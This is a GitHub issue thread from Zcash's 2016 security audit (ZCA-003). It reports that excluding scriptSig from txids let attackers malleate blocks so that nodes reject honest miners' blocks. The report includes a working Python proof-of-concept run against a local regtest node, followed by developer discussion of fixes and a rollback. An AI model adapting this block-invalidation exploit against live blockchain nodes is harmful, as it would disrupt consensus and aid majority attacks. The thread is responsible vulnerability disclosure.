New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ZCA-003 - scriptSig malleability allows 51% attack by invalidating honest miners blocks #1304

Closed
coinspect opened this Issue Aug 25, 2016 · 11 comments

Comments

@ghost
Copy link

ghost commented Aug 25, 2016

The new CTransaction::GetTxid method does not include scriptSig fields in the hash calculation,
allowing attackers to invalidate blocks by modifying the scriptSig fields of its transactions.
Nodes will reject the original valid block as 'duplicate-invalid' after receiving the block
modified by attackers.
Adversaries can invalidate blocks of honest miners to mount attacks against the Zcash network.

The GetTxid method was added to CTransaction to return a "non-malleable txid".
Calls to CTransaction::GetHash were replaced by calls to GetTxId.
The scriptSig field of each input CTxIn, and the joinSplitSig field are cleared before
calculating the double SHA256 hash of the transaction.

The following Python script, and a zcashd running in regtest mode were used to verify the vulnerability. The script requires modified mininode.py and rpcmining.cpp files.

from mininode import CBlock
from StringIO import StringIO
from authproxy import AuthServiceProxy, JSONRPCException
api = AuthServiceProxy("http://username:password@127.0.0.1:18232")

#create a transaction
toaddr = api.getnewaddress()
api.sendtoaddress(toaddr,3)
#regtest generate method modified to return the block without processing it
blockorig = api.generate(1,False)[0]
cblockorig = CBlock()
#decode the returned block
cblockorig.deserialize(StringIO(blockorig.decode('hex')))
#invalidate scriptSig, this is only one of the possible ways to do it
cblockorig.vtx[1].vin[0].scriptSig+='\xb0'*256
cblockorig.calc_sha256()
#show block hash
cblockorig.hash
#get last block hash
api.getbestblockhash()
#submit modified block
api.submitblock(cblockorig.serialize().encode('hex'))
api.getbestblockhash()
#submit original block
api.submitblock(blockorig)
api.getbestblockhash()

Sample output

zc@zc:~/zcash.current/zcash/qa/rpc-tests/test_framework$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from mininode import CBlock
>>> from StringIO import StringIO
>>> from authproxy import AuthServiceProxy, JSONRPCException
>>> api = AuthServiceProxy("http://username:password@127.0.0.1:18232")
>>> 
>>> toaddr = api.getnewaddress()
>>> api.sendtoaddress(toaddr,3)
u'f3cc090b818be64eb2350233e52c490f26649b7851df6de37de5395578e89907'
>>> blockorig = api.generate(1,False)[0]
>>> cblockorig = CBlock()
>>> cblockorig.deserialize(StringIO(blockorig.decode('hex')))
>>> cblockorig.vtx[1].vin[0].scriptSig+='\xb0'*256
>>> cblockorig.calc_sha256()
>>> cblockorig.hash
'3e184195b9e0b206eb71d66a9947d4617b84f8bd434ab518cd4cef4c7a855349'
>>> api.getbestblockhash()
u'6c700501423285843612dd9928f8872739e28245f17399ec429941752733bd21'
>>> api.submitblock(cblockorig.serialize().encode('hex'))
u'rejected'
>>> api.getbestblockhash()
u'6c700501423285843612dd9928f8872739e28245f17399ec429941752733bd21'
>>> api.submitblock(blockorig)
u'duplicate-invalid'
>>> api.getbestblockhash()
u'6c700501423285843612dd9928f8872739e28245f17399ec429941752733bd21'
>>> 
@daira

This comment has been minimized.

Copy link
Contributor

daira commented Aug 25, 2016

I must have misunderstood something when originally looking at the security of this change: I had thought that such a modified block would be rejected itself (and therefore would not cause rejection of the subsequent valid block) because its signature scripts would not verify.

@zmanian

This comment has been minimized.

Copy link

zmanian commented Aug 25, 2016

Two things comes to my mind.

  1. The attacker has access to the private key for a tx in the block. The attacker can generate a new valid sig script.
  2. The ScriptPubkey allows for multiple valid sig scripts and the attacker replaces it with an alternate. I could probably think of an example of this.
@bitcartel

This comment has been minimized.

Copy link
Contributor

bitcartel commented Aug 25, 2016

The merkle tree of transactions was built using the GetHash() call but it was replaced with GetTxid() here: https://github.com/zcash/zcash/blame/zc.v0.11.2.latest/src/primitives/block.cpp#L58

So we have to revert back to GetHash() since the intent is to double sha 256 over the entire transaction before inserting the value into the merkle tree.

A valid block can then longer no be altered and propagated since the merkle root is over every byte of all transactions.

@SergioDemianLerner

This comment has been minimized.

Copy link
Contributor

SergioDemianLerner commented Aug 25, 2016

If the getHash() is used to create the Merkle-tree, there are some problems that can arise in low-footprint IoT acting as SPV nodes or in sidechains.
Suppose we use the TxId in the Merkel tree.
Suppose a IoT device that provides a service implements the following protocol:

  1. The IoT device provides a zCash address
  2. The user creates a zCash transaction tx and broadcast it to the zCash network. The transaction is small (e.g. <1000 bytes)
  3. The user waits for 2 block confirmations
  4. The user provides the device tx, a SPV proof consisting of the 2 zCash headers, and a Merkle-tree branch proving membership inclusion of tx in the first header.
  5. The IoT device hashes tx to obtain the TxId, and verifies the Merkle-tree membership, then allow the service in exchange for the payment.

If we change the Merkel tree to use the full-content hashes, then the step 4 also needs the user to provide the IoT device the actual transaction tx' that was included in the block, because tx and tx' may differ because of scriptSig malleability.

But because of malleability, tx' can be a lot larger than tx (each scriptSig can hold up to 10K bytes), so the IoT may not be able to store and process tx'. In case the hash is computed on-the-fly, then also it's possible that computing/transmitting takes too long.

In case of a side-chain, malleability in the Tx may require the sidechain to process a longer transaction adding fees/byte (or maybe preventing the transaction from propagating because of its
overblown size, so the transaction is stuck and the money transferred to the sidechain is lost).

I propose the following equivalent solutions to the problem:

  • The header has a new field fullTxMerkleTreeRoot that references a second Merkel-Tree, containing the full transaction hashes. The new tree is also checked by consensus code.
  • The leaves of the original Merkle-Tree are modified to contain two fields {txId,fullTxhash} instead of only the TxId.

There is also a second attack involving modifying transactions on-the-fly while they are propagated through the network. I will add a comment later about the solutions to this other problem, in another issue.

@ebfull

This comment has been minimized.

Copy link
Contributor

ebfull commented Aug 25, 2016

If we start chasing our tail fixing all the problems that are popping up with this (which I predicted), some of which we might not even discover until later, it will pose a threat to the audit and to Zcash itself when we launch. We should consider reverting #1144 and more carefully addressing malleability in the future, post-launch.

@SergioDemianLerner

This comment has been minimized.

Copy link
Contributor

SergioDemianLerner commented Aug 25, 2016

zCash has a privileged opportunity to make things right from the start without following hard-forks that should not be underestimated. Each hard-fork is also a risk. Segwit as a soft-fork represents a heavy technical debt to Bitcoin that zCash team should avoid at all costs.
Fixing this seems possible within the time constraints of the launch, although I don't know zCash full project plan, schedule or resources to tell.

@bitcartel

This comment has been minimized.

Copy link
Contributor

bitcartel commented Aug 25, 2016

@SergioDemianLerner Thanks for your valuable feedback.

Is it correct to say that the first solution is similar to segwit, except they put the root of the second merkel tree into a coinbase transaction output because of soft-fork deployment?

Regarding the second issue around in-flight transactions, is this something which in priniciple also applies to segwit and their non-malleable txids?

@ebfull Yes, let's keep all options open.

@zookozcash

This comment has been minimized.

Copy link

zookozcash commented Aug 25, 2016

Re: #1304 (comment)

LOL. That was a well-earned "Itoldyouso". I can confirm that @ebfull definitely stated that he thought a subtle snag like this would come up from the malleability fix.

Also, the suggestion to back out the fix and go back to normal old malleability is a very good suggestion. It's @nathan-at-least's job to make difficult calls like that. Assigning this ticket to @nathan-at-least.

@zmanian

This comment has been minimized.

Copy link

zmanian commented Aug 26, 2016

A reasonable person might believe that the construction of block merkle tree is a special case because the block header is used as a kind of signature with the solution of the Proof of Work puzzle. The signature must logically sign commitment to all the bits in the block.

A cautious person would prefer the Bitcoin malleability pattern until SegWit is adopted.

:-)

@str4d

This comment has been minimized.

Copy link
Contributor

str4d commented Aug 26, 2016

I'd also like to know the answer to #1304 (comment). What I'd like to identify is the minimal change that we can make to the block header pre-launch, to make inclusion of a proper (segwit-style?) solution easier (which would still require a hard-fork, but wouldn't necessarily require forking the block header version). We already have a 32-byte reserved field; would using that (instead of for potential merge-mining), or adding another reserved field, suffice?

Then again, I vaguely recall this coming up when we first discussed the malleability problem, and IIRC we decided that we were open to hard-forking it in anyway, so we may as well hard-fork the block header format (which itself would be good practice for us and the community of migration strategies that would be necessary for #1211).

@nathan-at-least

This comment has been minimized.

Copy link
Contributor

nathan-at-least commented Aug 29, 2016

We're planning to rollback the non-malleable txid feature as per #1316 as part of the Beta 1 release. Unfortunately we just don't have time to ensure this feature is designed securely.

@daira daira added this to the Beta 1 - complete RPC milestone Sep 4, 2016

@ebfull ebfull closed this Sep 8, 2016

@nathan-at-least nathan-at-least changed the title scriptSig malleability allows 51% attack by invalidating honest miners blocks ZCA-003 - scriptSig malleability allows 51% attack by invalidating honest miners blocks Sep 13, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment